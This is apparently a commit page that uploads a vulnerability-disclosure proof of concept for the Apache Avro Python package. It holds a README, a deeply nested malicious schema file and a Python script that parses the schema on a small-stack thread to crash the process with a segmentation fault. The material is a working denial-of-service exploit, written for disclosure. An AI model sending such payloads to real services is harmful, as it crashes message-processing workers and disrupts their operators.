MBM7 commited on
Commit
cc0dd17
·
verified ·
1 Parent(s): edbd1ca

Upload 3 files

Browse files
Files changed (3) hide show
  1. README.md +42 -3
  2. malicious_schema.avsc +1 -0
  3. reproduce.py +48 -0
README.md CHANGED
@@ -1,3 +1,42 @@
1
- ---
2
- license: mit
3
- ---
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # PoC: Uncontrolled Recursion in Avro Schema Parsing → Process Crash (SIGSEGV)
2
+
3
+ **Affected:** `avro` (Apache Avro Python package) 1.12.1
4
+ **Vulnerability class:** CWE-674 (Uncontrolled Recursion)
5
+
6
+ ## What this repo contains
7
+
8
+ `malicious_schema.avsc` — a valid-syntax Avro schema file, 8,756 bytes,
9
+ consisting of 350 nested `"array"` type wrappers around a base `"long"`
10
+ type. Every individual level is syntactically valid Avro; only the
11
+ nesting depth is abusive.
12
+
13
+ ## How to reproduce
14
+
15
+ ```bash
16
+ pip install avro
17
+ python3 reproduce.py
18
+ ```
19
+
20
+ On an affected system, this crashes the Python process with SIGSEGV
21
+ (exit code 139 / "Segmentation fault") — not a caught Python
22
+ exception — when the schema is parsed on a thread with a reduced
23
+ stack size (256KB, the standard default greenlet stack size used by
24
+ `gevent`/`eventlet`, common in async Kafka/AMQP consumer deployments
25
+ written in Python).
26
+
27
+ On a default (full-size) thread stack, the same file only produces a
28
+ catchable `RecursionError` — the crash specifically requires the
29
+ reduced-stack execution context, which is realistic but not
30
+ universal. See the full report for details.
31
+
32
+ ## Why this matters
33
+
34
+ Any Python service that (a) accepts externally-supplied Avro schemas
35
+ (e.g. a Kafka consumer that reads schema definitions from message
36
+ metadata or a schema registry) and (b) runs on a
37
+ `gevent`/`eventlet`-style worker, can have its entire worker process
38
+ crashed by a single ~9KB malicious schema — not just the one message
39
+ being processed.
40
+
41
+ Full write-up, environment details, threshold measurements, and
42
+ suggested remediation are in the accompanying disclosure report.
malicious_schema.avsc ADDED
@@ -0,0 +1 @@
 
 
1
+ {"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":{"type":"array","items":"long"}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
reproduce.py ADDED
@@ -0,0 +1,48 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ Reproduces the crash using the malicious_schema.avsc file in this repo.
4
+
5
+ pip install avro
6
+ python3 reproduce.py
7
+
8
+ Expected on an affected system: process terminates with SIGSEGV
9
+ (exit code 139), not a caught Python exception.
10
+ """
11
+
12
+ import sys
13
+ import threading
14
+
15
+ GEVENT_TYPICAL_STACK_BYTES = 262144 # 256 KB — common gevent greenlet default
16
+
17
+
18
+ def main():
19
+ with open("malicious_schema.avsc", "r") as f:
20
+ schema_json = f.read()
21
+
22
+ print(f"Payload size: {len(schema_json)} bytes")
23
+ print(f"Thread stack size: {GEVENT_TYPICAL_STACK_BYTES} bytes (gevent-typical default)")
24
+ print(f"sys.getrecursionlimit(): {sys.getrecursionlimit()} (untouched default)")
25
+ print()
26
+
27
+ import avro.schema
28
+ parse_fn = getattr(avro.schema, "parse", None) or getattr(avro.schema, "Parse", None)
29
+
30
+ def worker():
31
+ print("[worker thread] calling avro.schema.parse() on malicious_schema.avsc...")
32
+ parse_fn(schema_json)
33
+ print("[worker thread] parse() returned without crashing "
34
+ "(try a deeper schema for this environment)")
35
+
36
+ threading.stack_size(GEVENT_TYPICAL_STACK_BYTES)
37
+ t = threading.Thread(target=worker)
38
+ t.start()
39
+ t.join()
40
+
41
+ print()
42
+ print("If you see this line, the process survived. On an affected "
43
+ "system, the process crashes with SIGSEGV before this point "
44
+ "is ever reached.")
45
+
46
+
47
+ if __name__ == "__main__":
48
+ main()